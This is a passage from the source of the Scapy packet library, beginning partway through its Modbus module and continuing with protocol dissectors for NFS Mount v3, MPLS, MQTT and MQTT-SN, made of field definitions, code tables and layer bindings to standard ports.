Error %funcCode%") class ModbusObjectId(Packet): name = "Object" fields_desc = [ByteEnumField("id", 0x00, _read_device_id_object_id), BitFieldLenField("length", None, 8, length_of="value"), StrLenField("value", "", length_from=lambda pkt: pkt.length)] def guess_payload_class(self, payload): return ModbusObjectId _modbus_request_classes = { 0x01: ModbusPDU01ReadCoilsRequest, 0x02: ModbusPDU02ReadDiscreteInputsRequest, 0x03: ModbusPDU03ReadHoldingRegistersRequest, 0x04: ModbusPDU04ReadInputRegistersRequest, 0x05: ModbusPDU05WriteSingleCoilRequest, 0x06: ModbusPDU06WriteSingleRegisterRequest, 0x07: ModbusPDU07ReadExceptionStatusRequest, 0x08: ModbusPDU08DiagnosticsRequest, 0x0B: ModbusPDU0BGetCommEventCounterRequest, 0x0C: ModbusPDU0CGetCommEventLogRequest, 0x0F: ModbusPDU0FWriteMultipleCoilsRequest, 0x10: ModbusPDU10WriteMultipleRegistersRequest, 0x11: ModbusPDU11ReportSlaveIdRequest, 0x14: ModbusPDU14ReadFileRecordRequest, 0x15: ModbusPDU15WriteFileRecordRequest, 0x16: ModbusPDU16MaskWriteRegisterRequest, 0x17: ModbusPDU17ReadWriteMultipleRegistersRequest, 0x18: ModbusPDU18ReadFIFOQueueRequest, } _modbus_error_classes = { 0x81: ModbusPDU01ReadCoilsError, 0x82: ModbusPDU02ReadDiscreteInputsError, 0x83: ModbusPDU03ReadHoldingRegistersError, 0x84: ModbusPDU04ReadInputRegistersError, 0x85: ModbusPDU05WriteSingleCoilError, 0x86: ModbusPDU06WriteSingleRegisterError, 0x87: ModbusPDU07ReadExceptionStatusError, 0x88: ModbusPDU08DiagnosticsError, 0x8B: ModbusPDU0BGetCommEventCounterError, 0x8C: ModbusPDU0CGetCommEventLogError, 0x8F: ModbusPDU0FWriteMultipleCoilsError, 0x90: ModbusPDU10WriteMultipleRegistersError, 0x91: ModbusPDU11ReportSlaveIdError, 0x94: ModbusPDU14ReadFileRecordError, 0x95: ModbusPDU15WriteFileRecordError, 0x96: ModbusPDU16MaskWriteRegisterError, 0x97: ModbusPDU17ReadWriteMultipleRegistersError, 0x98: ModbusPDU18ReadFIFOQueueError, 0xAB: ModbusPDU2B0EReadDeviceIdentificationError, } _modbus_response_classes = { 0x01: ModbusPDU01ReadCoilsResponse, 0x02: ModbusPDU02ReadDiscreteInputsResponse, 0x03: ModbusPDU03ReadHoldingRegistersResponse, 0x04: ModbusPDU04ReadInputRegistersResponse, 0x05: ModbusPDU05WriteSingleCoilResponse, 0x06: ModbusPDU06WriteSingleRegisterResponse, 0x07: ModbusPDU07ReadExceptionStatusResponse, 0x08: ModbusPDU08DiagnosticsResponse, 0x0B: ModbusPDU0BGetCommEventCounterResponse, 0x0C: ModbusPDU0CGetCommEventLogResponse, 0x0F: ModbusPDU0FWriteMultipleCoilsResponse, 0x10: ModbusPDU10WriteMultipleRegistersResponse, 0x11: ModbusPDU11ReportSlaveIdResponse, 0x14: ModbusPDU14ReadFileRecordResponse, 0x15: ModbusPDU15WriteFileRecordResponse, 0x16: ModbusPDU16MaskWriteRegisterResponse, 0x17: ModbusPDU17ReadWriteMultipleRegistersResponse, 0x18: ModbusPDU18ReadFIFOQueueResponse, } _mei_types_request = { 0x0E: ModbusPDU2B0EReadDeviceIdentificationRequest, # 0x0D: ModbusPDU2B0DCANOpenGeneralReferenceRequest, } _mei_types_response = { 0x0E: ModbusPDU2B0EReadDeviceIdentificationResponse, # 0x0D: ModbusPDU2B0DCANOpenGeneralReferenceResponse, } class ModbusADURequest(Packet): name = "ModbusADU" fields_desc = [ # needs to be unique XShortField("transId", 0x0000), # needs to be zero (Modbus) XShortField("protoId", 0x0000), # is calculated with payload ShortField("len", None), # 0xFF (recommended as non-significant value) or 0x00 XByteField("unitId", 0xff), ] def guess_payload_class(self, payload): function_code = orb(payload[0]) if function_code == 0x2B: sub_code = orb(payload[1]) try: return _mei_types_request[sub_code] except KeyError: pass try: return _modbus_request_classes[function_code] except KeyError: pass if function_code in _reserved_funccode_request: return ModbusPDUReservedFunctionCodeRequest return ModbusPDUUserDefinedFunctionCodeRequest def post_build(self, p, pay): if self.len is None: tmp_len = len(pay) + 1 # +len(p) p = p[:4] + struct.pack("!H", tmp_len) + p[6:] return p + pay class ModbusADUResponse(Packet): name = "ModbusADU" fields_desc = [ # needs to be unique XShortField("transId", 0x0000), # needs to be zero (Modbus) XShortField("protoId", 0x0000), # is calculated with payload ShortField("len", None), # 0xFF or 0x00 should be used for Modbus over TCP/IP XByteField("unitId", 0xff), ] def guess_payload_class(self, payload): function_code = orb(payload[0]) if function_code == 0x2B: sub_code = orb(payload[1]) try: return _mei_types_response[sub_code] except KeyError: pass try: return _modbus_response_classes[function_code] except KeyError: pass try: return _modbus_error_classes[function_code] except KeyError: pass if function_code in _reserved_funccode_response: return ModbusPDUReservedFunctionCodeResponse elif function_code in _reserved_funccode_error: return ModbusPDUReservedFunctionCodeError if function_code < 0x80: return ModbusPDUUserDefinedFunctionCodeResponse return ModbusPDUUserDefinedFunctionCodeError def post_build(self, p, pay): if self.len is None: tmp_len = len(pay) + 1 # +len(p) p = p[:4] + struct.pack("!H", tmp_len) + p[6:] return p + pay bind_layers(TCP, ModbusADURequest, dport=502) bind_layers(TCP, ModbusADUResponse, sport=502) ================================================ FILE: scapy/contrib/mount.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Lucas Preston # scapy.contrib.description = NFS Mount v3 # scapy.contrib.status = loads from scapy.contrib.oncrpc import RPC, RPC_Call from scapy.packet import Packet, bind_layers from scapy.fields import IntField, StrLenField, IntEnumField, PacketField, \ ConditionalField, FieldListField from scapy.contrib.nfs import File_Object mountstat3 = { 0: 'MNT3_OK', 1: 'MNT3ERR_PERM', 2: 'MNT3ERR_NOENT', 5: 'MNT3ERR_IO', 13: 'MNT3ERR_ACCES', 20: 'MNT3ERR_NOTDIR', 22: 'MNT3ERR_INVAL', 63: 'MNT3ERR_NAMETOOLONG', 10004: 'MNT3ERR_NOTSUPP', 10006: 'MNT3ERR_SERVERFAULT' } class Path(Packet): name = 'Path' fields_desc = [ IntField('length', 0), StrLenField('path', '', length_from=lambda pkt: pkt.length), StrLenField('fill', '', length_from=lambda pkt: (4 - pkt.length) % 4) ] def extract_padding(self, s): return '', s def set(self, path, length=None, fill=None): if length is None: length = len(path) if fill is None: fill = b'\x00' * ((4 - len(path)) % 4) self.length = length self.path = path self.fill = fill class NULL_Call(Packet): name = 'MOUNT NULL Call' fields_desc = [] class NULL_Reply(Packet): name = 'MOUNT NULL Reply' fields_desc = [] bind_layers(RPC, NULL_Call, mtype=0) bind_layers(RPC, NULL_Reply, mtype=1) bind_layers(RPC_Call, NULL_Call, program=100005, procedure=0, pversion=3) class MOUNT_Call(Packet): name = 'MOUNT Call' fields_desc = [ PacketField('path', Path(), Path) ] class MOUNT_Reply(Packet): name = 'MOUNT Reply' fields_desc = [ IntEnumField('status', 0, mountstat3), ConditionalField( PacketField('filehandle', File_Object(), File_Object), lambda pkt: pkt.status == 0 ), ConditionalField(IntField('flavors', 0), lambda pkt: pkt.status == 0), ConditionalField( FieldListField( 'flavor', None, IntField('', None), count_from=lambda pkt: pkt.flavors ), lambda pkt: pkt.status == 0 ) ] def get_filehandle(self): if self.status == 0: return self.filehandle.fh return None bind_layers(RPC, MOUNT_Call, mtype=0) bind_layers(RPC, MOUNT_Reply, mtype=1) bind_layers(RPC_Call, MOUNT_Call, program=100005, procedure=1, pversion=3) class UNMOUNT_Call(Packet): name = 'UNMOUNT Call' fields_desc = [ PacketField('path', Path(), Path) ] class UNMOUNT_Reply(Packet): name = 'UNMOUNT Reply' fields_desc = [] bind_layers(RPC, UNMOUNT_Call, mtype=0) bind_layers(RPC, UNMOUNT_Reply, mtype=1) bind_layers( RPC_Call, UNMOUNT_Call, program=100005, procedure=3, pversion=3 ) ================================================ FILE: scapy/contrib/mpls.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # scapy.contrib.description = Multiprotocol Label Switching (MPLS) # scapy.contrib.status = loads from scapy.packet import Packet, bind_layers, Padding from scapy.fields import ( BitField, ByteField, ByteEnumField, PacketListField, ShortField, ) from scapy.layers.inet import ( _ICMP_classnums, ICMPExtension_Object, IP, UDP, ) from scapy.layers.inet6 import IPv6 from scapy.layers.l2 import Ether, GRE from scapy.contrib.bier import BIER class EoMCW(Packet): name = "EoMCW" fields_desc = [BitField("zero", 0, 4), BitField("reserved", 0, 12), ShortField("seq", 0)] def guess_payload_class(self, payload): if len(payload) >= 1: return Ether return Padding class MPLS(Packet): name = "MPLS" fields_desc = [BitField("label", 3, 20), BitField("cos", 0, 3), BitField("s", 1, 1), ByteField("ttl", 0)] def guess_payload_class(self, payload): if len(payload) >= 1: if not self.s: return MPLS ip_version = (payload[0] >> 4) & 0xF if ip_version == 4: return IP elif ip_version == 5: return BIER elif ip_version == 6: return IPv6 else: if payload[0] == 0 and payload[1] == 0: return EoMCW else: return Ether return Padding # ICMP Extension class ICMPExtension_MPLS(ICMPExtension_Object): name = "ICMP Extension Object - MPLS (RFC4950)" fields_desc = [ ShortField("len", None), ByteEnumField("classnum", 1, _ICMP_classnums), ByteField("classtype", 1), PacketListField("stack", [], MPLS, length_from=lambda pkt: pkt.len - 4), ] # Bindings bind_layers(Ether, MPLS, type=0x8847) bind_layers(IP, MPLS, proto=137) bind_layers(IPv6, MPLS, nh=137) bind_layers(UDP, MPLS, dport=6635) bind_layers(GRE, MPLS, proto=0x8847) bind_layers(MPLS, MPLS, s=0) bind_layers(MPLS, IP, label=0) # IPv4 Explicit NULL bind_layers(MPLS, IPv6, label=2) # IPv6 Explicit NULL bind_layers(MPLS, EoMCW) bind_layers(EoMCW, Ether, zero=0, reserved=0) ================================================ FILE: scapy/contrib/mqtt.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Santiago Hernandez Ramos # scapy.contrib.description = Message Queuing Telemetry Transport (MQTT) # scapy.contrib.status = loads from scapy.packet import Packet, bind_layers from scapy.fields import ( BitEnumField, ByteEnumField, ByteField, ConditionalField, FieldLenField, FieldListField, PacketListField, ShortField, StrLenField, ) from scapy.layers.inet import TCP from scapy.error import Scapy_Exception from scapy.compat import orb, chb from scapy.volatile import RandNum from scapy.config import conf # CUSTOM FIELDS # source: http://stackoverflow.com/a/43717630 class VariableFieldLenField(FieldLenField): def addfield(self, pkt, s, val): val = self.i2m(pkt, val) data = [] while val: if val > 127: data.append(val & 127) val //= 128 else: data.append(val) lastoffset = len(data) - 1 data = b"".join(chb(val | (0 if i == lastoffset else 128)) for i, val in enumerate(data)) return s + data if len(data) > 3: raise Scapy_Exception("%s: malformed length field" % self.__class__.__name__) # If val is None / 0 return s + b"\x00" def getfield(self, pkt, s): value = 0 for offset, curbyte in enumerate(s): curbyte = orb(curbyte) value += (curbyte & 127) * (128 ** offset) if curbyte & 128 == 0: return s[offset + 1:], value if offset > 2: raise Scapy_Exception("%s: malformed length field" % self.__class__.__name__) def randval(self): return RandVariableFieldLen() class RandVariableFieldLen(RandNum): def __init__(self): RandNum.__init__(self, 0, 268435455) # LAYERS CONTROL_PACKET_TYPE = { 1: 'CONNECT', 2: 'CONNACK', 3: 'PUBLISH', 4: 'PUBACK', 5: 'PUBREC', 6: 'PUBREL', 7: 'PUBCOMP', 8: 'SUBSCRIBE', 9: 'SUBACK', 10: 'UNSUBSCRIBE', 11: 'UNSUBACK', 12: 'PINGREQ', 13: 'PINGRESP', 14: 'DISCONNECT', 15: 'AUTH' # Added in v5.0 } QOS_LEVEL = { 0: 'At most once delivery', 1: 'At least once delivery', 2: 'Exactly once delivery' } # source: http://stackoverflow.com/a/43722441 class MQTT(Packet): name = "MQTT fixed header" fields_desc = [ BitEnumField("type", 1, 4, CONTROL_PACKET_TYPE), BitEnumField("DUP", 0, 1, {0: 'Disabled', 1: 'Enabled'}), BitEnumField("QOS", 0, 2, QOS_LEVEL), BitEnumField("RETAIN", 0, 1, {0: 'Disabled', 1: 'Enabled'}), # Since the size of the len field depends on the next layer, we need # to "cheat" with the length_of parameter and use adjust parameter to # calculate the value. VariableFieldLenField("len", None, length_of="len", adjust=lambda pkt, x: len(pkt.payload),), ] PROTOCOL_LEVEL = { 3: 'v3.1', 4: 'v3.1.1', 5: 'v5.0' } class MQTTConnect(Packet): name = "MQTT connect" fields_desc = [ FieldLenField("length", None, length_of="protoname"), StrLenField("protoname", "", length_from=lambda pkt: pkt.length), ByteEnumField("protolevel", 5, PROTOCOL_LEVEL), BitEnumField("usernameflag", 0, 1, {0: 'Disabled', 1: 'Enabled'}), BitEnumField("passwordflag", 0, 1, {0: 'Disabled', 1: 'Enabled'}), BitEnumField("willretainflag", 0, 1, {0: 'Disabled', 1: 'Enabled'}), BitEnumField("willQOSflag", 0, 2, QOS_LEVEL), BitEnumField("willflag", 0, 1, {0: 'Disabled', 1: 'Enabled'}), BitEnumField("cleansess", 0, 1, {0: 'Disabled', 1: 'Enabled'}), BitEnumField("reserved", 0, 1, {0: 'Disabled', 1: 'Enabled'}), ShortField("klive", 0), FieldLenField("clientIdlen", None, length_of="clientId"), StrLenField("clientId", "", length_from=lambda pkt: pkt.clientIdlen), # Payload with optional fields depending on the flags ConditionalField(FieldLenField("wtoplen", None, length_of="willtopic"), lambda pkt: pkt.willflag == 1), ConditionalField(StrLenField("willtopic", "", length_from=lambda pkt: pkt.wtoplen), lambda pkt: pkt.willflag == 1), ConditionalField(FieldLenField("wmsglen", None, length_of="willmsg"), lambda pkt: pkt.willflag == 1), ConditionalField(StrLenField("willmsg", "", length_from=lambda pkt: pkt.wmsglen), lambda pkt: pkt.willflag == 1), ConditionalField(FieldLenField("userlen", None, length_of="username"), lambda pkt: pkt.usernameflag == 1), ConditionalField(StrLenField("username", "", length_from=lambda pkt: pkt.userlen), lambda pkt: pkt.usernameflag == 1), ConditionalField(FieldLenField("passlen", None, length_of="password"), lambda pkt: pkt.passwordflag == 1), ConditionalField(StrLenField("password", "", length_from=lambda pkt: pkt.passlen), lambda pkt: pkt.passwordflag == 1), ] class MQTTDisconnect(Packet): name = "MQTT disconnect" fields_desc = [] RETURN_CODE = { 0: 'Connection Accepted', 1: 'Unacceptable protocol version', 2: 'Identifier rejected', 3: 'Server unavailable', 4: 'Bad username/password', 5: 'Not authorized' } class MQTTConnack(Packet): name = "MQTT connack" fields_desc = [ ByteField("sessPresentFlag", 0), ByteEnumField("retcode", 0, RETURN_CODE), # this package has not payload ] class MQTTPublish(Packet): name = "MQTT publish" fields_desc = [ FieldLenField("length", None, length_of="topic"), StrLenField("topic", "", length_from=lambda pkt: pkt.length), ConditionalField(ShortField("msgid", None), lambda pkt: (pkt.underlayer.QOS == 1 or pkt.underlayer.QOS == 2)), StrLenField("value", "", length_from=lambda pkt: pkt.underlayer.len - pkt.length - 2 if pkt.underlayer.QOS == 0 else pkt.underlayer.len - pkt.length - 4) ] class MQTTPuback(Packet): name = "MQTT puback" fields_desc = [ ShortField("msgid", None), ] class MQTTPubrec(Packet): name = "MQTT pubrec" fields_desc = [ ShortField("msgid", None), ] class MQTTPubrel(Packet): name = "MQTT pubrel" fields_desc = [ ShortField("msgid", None), ] class MQTTPubcomp(Packet): name = "MQTT pubcomp" fields_desc = [ ShortField("msgid", None), ] class MQTTTopic(Packet): name = "MQTT topic" fields_desc = [ FieldLenField("length", None, length_of="topic"), StrLenField("topic", "", length_from=lambda pkt:pkt.length) ] def guess_payload_class(self, payload): return conf.padding_layer class MQTTTopicQOS(MQTTTopic): fields_desc = MQTTTopic.fields_desc + [ByteEnumField("QOS", 0, QOS_LEVEL)] class MQTTSubscribe(Packet): name = "MQTT subscribe" fields_desc = [ ShortField("msgid", None), PacketListField("topics", [], pkt_cls=MQTTTopicQOS) ] ALLOWED_RETURN_CODE = { 0x00: 'Granted QoS 0', 0x01: 'Granted QoS 1', 0x02: 'Granted QoS 2', 0x80: 'Unspecified error', 0x83: 'Implementation specific error', 0x87: 'Not authorized', 0x8F: 'Topic Filter invalid', 0x91: 'Packet Identifier in use', 0x97: 'Quota exceeded', 0x9E: 'Shared Subscriptions not supported', 0xA1: 'Subscription Identifiers not supported', 0xA2: 'Wildcard Subscriptions not supported', } class MQTTSuback(Packet): name = "MQTT suback" fields_desc = [ ShortField("msgid", None), FieldListField("retcodes", None, ByteEnumField("", None, ALLOWED_RETURN_CODE)) ] class MQTTUnsubscribe(Packet): name = "MQTT unsubscribe" fields_desc = [ ShortField("msgid", None), PacketListField("topics", [], pkt_cls=MQTTTopic) ] class MQTTUnsuback(Packet): name = "MQTT unsuback" fields_desc = [ ShortField("msgid", None) ] # LAYERS BINDINGS bind_layers(TCP, MQTT, sport=1883) bind_layers(TCP, MQTT, dport=1883) bind_layers(MQTT, MQTTConnect, type=1) bind_layers(MQTT, MQTTConnack, type=2) bind_layers(MQTT, MQTTPublish, type=3) bind_layers(MQTT, MQTTPuback, type=4) bind_layers(MQTT, MQTTPubrec, type=5) bind_layers(MQTT, MQTTPubrel, type=6) bind_layers(MQTT, MQTTPubcomp, type=7) bind_layers(MQTT, MQTTSubscribe, type=8) bind_layers(MQTT, MQTTSuback, type=9) bind_layers(MQTT, MQTTUnsubscribe, type=10) bind_layers(MQTT, MQTTUnsuback, type=11) bind_layers(MQTT, MQTTDisconnect, type=14) bind_layers(MQTTConnect, MQTT) bind_layers(MQTTConnack, MQTT) bind_layers(MQTTPublish, MQTT) bind_layers(MQTTPuback, MQTT) bind_layers(MQTTPubrec, MQTT) bind_layers(MQTTPubrel, MQTT) bind_layers(MQTTPubcomp, MQTT) bind_layers(MQTTSubscribe, MQTT) bind_layers(MQTTSuback, MQTT) bind_layers(MQTTUnsubscribe, MQTT) bind_layers(MQTTUnsuback, MQTT) bind_layers(MQTTDisconnect, MQTT) ================================================ FILE: scapy/contrib/mqttsn.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2019 Freie Universitaet Berlin """ MQTT for Sensor Networks (MQTT-SN) Specification: http://www.mqtt.org/new/wp-content/uploads/2009/06/MQTT-SN_spec_v1.2.pdf """ # scapy.contrib.description = MQTT for Sensor Networks (MQTT-SN) # scapy.contrib.status = loads from scapy.packet import Packet, bind_layers, bind_bottom_up from scapy.fields import BitField, BitEnumField, ByteField, ByteEnumField, \ ConditionalField, FieldLenField, ShortField, StrFixedLenField, \ StrLenField, XByteEnumField from scapy.layers.inet import UDP from scapy.error import Scapy_Exception from scapy.compat import chb, orb from scapy.volatile import RandNum import struct # Constants ADVERTISE = 0x00 SEARCHGW = 0x01 GWINFO = 0x02 CONNECT = 0x04 CONNACK = 0x05 WILLTOPICREQ = 0x06 WILLTOPIC = 0x07 WILLMSGREQ = 0x08 WILLMSG = 0x09 REGISTER = 0x0a REGACK = 0x0b PUBLISH = 0x0c PUBACK = 0x0d PUBCOMP = 0x0e PUBREC = 0x0f PUBREL = 0x10 SUBSCRIBE = 0x12 SUBACK = 0x13 UNSUBSCRIBE = 0x14 UNSUBACK = 0x15 PINGREQ = 0x16 PINGRESP = 0x17 DISCONNECT = 0x18 WILLTOPICUPD = 0x1a WILLTOPICRESP = 0x1b WILLMSGUPD = 0x1c WILLMSGRESP = 0x1d ENCAPS_MSG = 0xfe QOS_0 = 0b00 QOS_1 = 0b01 QOS_2 = 0b10 QOS_NEG1 = 0b11 TID_NORMAL = 0b00 TID_PREDEF = 0b01 TID_SHORT = 0b10 TID_RESVD = 0b11 ACCEPTED = 0x00 REJ_CONJ = 0x01 REJ_TID = 0x02 REJ_NOTSUP = 0x03 # Custom fields class VariableFieldLenField(FieldLenField): """ MQTT-SN length field either has 1 byte for values [0x02, 0xff] or 3 bytes for values [0x0100, 0xffff]. If the first byte is 0x01 the length value comes in network byte-order in the next 2 bytes. MQTT-SN packets are at least 2 bytes long (length field + type field). """ def addfield(self, pkt, s, val): val = self.i2m(pkt, val) if (val < 2) or (val > 0xffff): raise Scapy_Exception("%s: invalid length field value" % self.__class__.__name__) elif val > 0xff: return s + b"\x01" + struct.pack("!H", val) else: return s + chb(val) def getfield(self, pkt, s): if orb(s[0]) == 0x01: if len(s) < 3: raise Scapy_Exception("%s: malformed length field" % self.__class__.__name__) return s[3:], (orb(s[1]) << 8) | orb(s[2]) else: return s[1:], orb(s[0]) def randval(self): return RandVariableFieldLen() def __init__(self, *args, **kwargs): super(VariableFieldLenField, self).__init__(*args, **kwargs) class RandVariableFieldLen(RandNum): def __init__(self): super(RandVariableFieldLen, self).__init__(0, 0xffff) # Layers PACKET_TYPE = { ADVERTISE: "ADVERTISE", SEARCHGW: "SEARCHGW", GWINFO: "GWINFO", CONNECT: "CONNECT", CONNACK: "CONNACK", WILLTOPICREQ: "WILLTOPICREQ", WILLTOPIC: "WILLTOPIC", WILLMSGREQ: "WILLMSGREQ", WILLMSG: "WILLMSG", REGISTER: "REGISTER", REGACK: "REGACK", PUBLISH: "PUBLISH", PUBACK: "PUBACK", PUBCOMP: "PUBCOMP", PUBREC: "PUBREC", PUBREL: "PUBREL", SUBSCRIBE: "SUBSCRIBE", SUBACK: "SUBACK", UNSUBSCRIBE: "UNSUBSCRIBE", UNSUBACK: "UNSUBACK", PINGREQ: "PINGREQ", PINGRESP: "PINGRESP", DISCONNECT: "DISCONNECT", WILLTOPICUPD: "WILLTOPICUPD", WILLTOPICRESP: "WILLTOPICRESP", WILLMSGUPD: "WILLMSGUPD", WILLMSGRESP: "WILLMSGRESP", ENCAPS_MSG: "Encapsulated message", } QOS_LEVELS = { QOS_0: 'Fire and Forget', QOS_1: 'Acknowledged deliver', QOS_2: 'Assured Delivery', QOS_NEG1: 'No Connection required', } TOPIC_ID_TYPES = { TID_NORMAL: 'Normal ID', TID_PREDEF: 'Pre-defined ID', TID_SHORT: 'Short Topic Name', TID_RESVD: 'Reserved', } RETURN_CODES = { ACCEPTED: "Accepted", REJ_CONJ: "Rejected: congestion", REJ_TID: "Rejected: invalid topic ID", REJ_NOTSUP: "Rejected: not supported", } FLAG_FIELDS = [ BitField("dup", 0, 1), BitEnumField("qos", QOS_0, 2, QOS_LEVELS), BitField("retain", 0, 1), BitField("will", 0, 1), BitField("cleansess", 0, 1), BitEnumField("tid_type", TID_NORMAL, 2, TOPIC_ID_TYPES), ] def _mqttsn_length_from(size_until): def fun(pkt): if (hasattr(pkt.underlayer, "len")): if pkt.underlayer.len > 0xff: return pkt.underlayer.len - size_until - 4 elif (pkt.underlayer.len > 1) and (pkt.underlayer.len < 0xffff): return pkt.underlayer.len - size_until - 2 # assume string to be of length 0 return len(pkt.payload) - size_until + 1 return fun def _mqttsn_len_adjust(pkt, x): res = x + len(pkt.payload) if (pkt.type == DISCONNECT) and \ (getattr(pkt.payload, "duration", None) is None): res -= 2 # duration is optional with DISCONNECT elif (pkt.type == ENCAPS_MSG) and \ (getattr(pkt.payload, "w_node_id", None) is not None): res = x + len(pkt.payload.w_node_id) + 1 if res > 0xff: res += 2 return res class MQTTSN(Packet): name = "MQTT-SN header" fields_desc = [ # Since the size of the len field depends on the next layer, we # need to "cheat" with the length_of parameter and use adjust # parameter to calculate the value. VariableFieldLenField("len", None, length_of="len", adjust=_mqttsn_len_adjust), XByteEnumField("type", 0, PACKET_TYPE), ] class MQTTSNAdvertise(Packet): name = "MQTT-SN advertise gateway" fields_desc = [ ByteField("gw_id", 0), ShortField("duration", 0), ] class MQTTSNSearchGW(Packet): name = "MQTT-SN search gateway" fields_desc = [ ByteField("radius", 0), ] class MQTTSNGwInfo(Packet): name = "MQTT-SN gateway info" fields_desc = [ ByteField("gw_id", 0), StrLenField("gw_addr", "", length_from=_mqttsn_length_from(1)), ] class MQTTSNConnect(Packet): name = "MQTT-SN connect command" fields_desc = FLAG_FIELDS + [ ByteField("prot_id", 1), ShortField("duration", 0), StrLenField("client_id", "", length_from=_mqttsn_length_from(4)), ] class MQTTSNConnack(Packet): name = "MQTT-SN connect ACK" fields_desc = [ ByteEnumField("return_code", ACCEPTED, RETURN_CODES), ] class MQTTSNWillTopicReq(Packet): name = "MQTT-SN will topic request" class MQTTSNWillTopic(Packet): name = "MQTT-SN will topic" fields_desc = FLAG_FIELDS + [ StrLenField("will_topic", "", length_from=_mqttsn_length_from(1)), ] class MQTTSNWillMsgReq(Packet): name = "MQTT-SN will message request" class MQTTSNWillMsg(Packet): name = "MQTT-SN will message" fields_desc = [ StrLenField("will_msg", "", length_from=_mqttsn_length_from(0)) ] class MQTTSNRegister(Packet): name = "MQTT-SN register" fields_desc = [ ShortField("tid", 0), ShortField("mid", 0), StrLenField("topic_name", "", length_from=_mqttsn_length_from(4)), ] class MQTTSNRegack(Packet): name = "MQTT-SN register ACK" fields_desc = [ ShortField("tid", 0), ShortField("mid", 0), ByteEnumField("return_code", ACCEPTED, RETURN_CODES), ] class MQTTSNPublish(Packet): name = "MQTT-SN publish message" fields_desc = FLAG_FIELDS + [ ShortField("tid", 0), ShortField("mid", 0), StrLenField("data", "", length_from=_mqttsn_length_from(5)), ] class MQTTSNPuback(Packet): name = "MQTT-SN publish ACK" fields_desc = [ ShortField("tid", 0), ShortField("mid", 0), ByteEnumField("return_code", ACCEPTED, RETURN_CODES), ] class MQTTSNPubcomp(Packet): name = "MQTT-SN publish complete" fields_desc = [ ShortField("mid", 0), ] class MQTTSNPubrec(Packet): name = "MQTT-SN publish received" fields_desc = [ ShortField("mid", 0), ] class MQTTSNPubrel(Packet): name = "MQTT-SN publish release" fields_desc = [ ShortField("mid", 0), ] class MQTTSNSubscribe(Packet): name = "MQTT-SN subscribe request" fields_desc = FLAG_FIELDS + [ ShortField("mid", 0), ConditionalField(ShortField("tid", None), lambda pkt: pkt.tid_type == 0b01), ConditionalField(StrFixedLenField("short_topic", None, length=2), lambda pkt: pkt.tid_type == 0b10), ConditionalField(StrLenField("topic_name", None, length_from=_mqttsn_length_from(3)), lambda pkt: pkt.tid_type not in [0b01, 0b10]), ] class MQTTSNSuback(Packet): name = "MQTT-SN subscribe ACK" fields_desc = FLAG_FIELDS + [ ShortField("tid", 0), ShortField("mid", 0), ByteEnumField("return_code", ACCEPTED, RETURN_CODES), ] class MQTTSNUnsubscribe(Packet): name = "MQTT-SN unsubscribe request" fields_desc = FLAG_FIELDS + [ ShortField("mid", 0), ConditionalField(ShortField("tid", None), lambda pkt: pkt.tid_type == 0b01), ConditionalField(StrFixedLenField("short_topic", None, length=2), lambda pkt: pkt.tid_type == 0b10), ConditionalField(StrLenField("topic_name", None, length_from=_mqttsn_length_from(3)), lambda pkt: pkt.tid_type not in [0b01, 0b10]), ] class MQTTSNUnsuback(Packet): name = "MQTT-SN unsubscribe ACK" fields_desc = [ ShortField("mid", 0), ] class MQTTSNPingReq(Packet): name = "MQTT-SN ping request" fields_desc = [ StrLenField("client_id", "", length_from=_mqttsn_length_from(0)), ] class MQTTSNPingResp(Packet): name = "MQTT-SN ping response" class MQTTSNDisconnect(Packet): name = "MQTT-SN disconnect request" fields_desc = [ ConditionalField( ShortField("duration", None), lambda pkt: hasattr(pkt.underlayer, "len") and ((pkt.underlayer.len is None) or (pkt.underlayer.len > 2)) ), ] class MQTTSNWillTopicUpd(Packet): name = "MQTT-SN will topic update" fields_desc = FLAG_FIELDS + [ StrLenField("will_topic", "", length_from=_mqttsn_length_from(1)), ] class MQTTSNWillTopicResp(Packet): name = "MQTT-SN will topic response" fields_desc = [ ByteEnumField("return_code", ACCEPTED, RETURN_CODES), ] class MQTTSNWillMsgUpd(Packet): name = "MQTT-SN will message update" fields_desc = [ StrLenField("will_msg", "", length_from=_mqttsn_length_from(0)) ] class MQTTSNWillMsgResp(Packet): name = "MQTT-SN will message response" fields_desc = [ ByteEnumField("return_code", ACCEPTED, RETURN_CODES), ] class MQTTSNEncaps(Packet): name = "MQTT-SN encapsulated message" fields_desc = [ BitField("resvd", 0, 6), BitField("radius", 0, 2), StrLenField( "w_node_id", "", length_from=_mqttsn_length_from(1) ), ] # Layer bindings bind_bottom_up(UDP, MQTTSN, sport=1883) bind_bottom_up(UDP, MQTTSN, dport=1883) bind_layers(UDP, MQTTSN, dport=1883, sport=1883) bind_layers(MQTTSN, MQTTSNAdvertise, type=ADVERTISE) bind_layers(MQTTSN, MQTTSNSearchGW, type=SEARCHGW) bind_layers(MQTTSN, MQTTSNGwInfo, type=GWINFO) bind_layers(MQTTSN, MQTTSNConnect, type=CONNECT) bind_layers(MQTTSN, MQTTSNConnack, type=CONNACK) bind_layers(MQTTSN, MQTTSNWillTopicReq, type=WILLTOPICREQ) bind_layers(MQTTSN, MQTTSNWillTopic, type=WILLTOPIC) bind_layers(MQTTSN, MQTTSNWillMsgReq, type=WILLMSGREQ) bind_layers(MQTTSN, MQTTSNWillMsg, type=WILLMSG) bind_layers(MQTTSN, MQTTSNRegister, type=REGISTER) bind_layers(MQTTSN, MQTTSNRegack, type=REGACK) bind_layers(MQTTSN, MQTTSNPublish, type=PUBLISH) bind_layers(MQTTSN, MQTTSNPuback, type=PUBACK) bind_layers(MQTTSN, MQTTSNPubcomp, type=PUBCOMP) bind_layers(MQTTSN, MQTTSNPubrec, type=PUBREC) bind_layers(MQTTSN, MQTTSNPubrel, type=PUBREL) bind_layers(MQTTSN, MQTTSNSubscribe, type=SUBSCRIBE) bind_layers(MQTTSN, MQTTSNSuback, type=SUBACK) bind_layers(MQTTSN, MQTTSNUnsubscribe, type=UNSUBSCRIBE) bind_layers(MQTTSN, MQTTSNUnsuback, type=UNSUBACK) bind_layers(MQTTSN, MQTTSNPingReq, type=PINGREQ) bind_layers(MQTTSN, MQTTSNPingResp, type=PINGRESP) 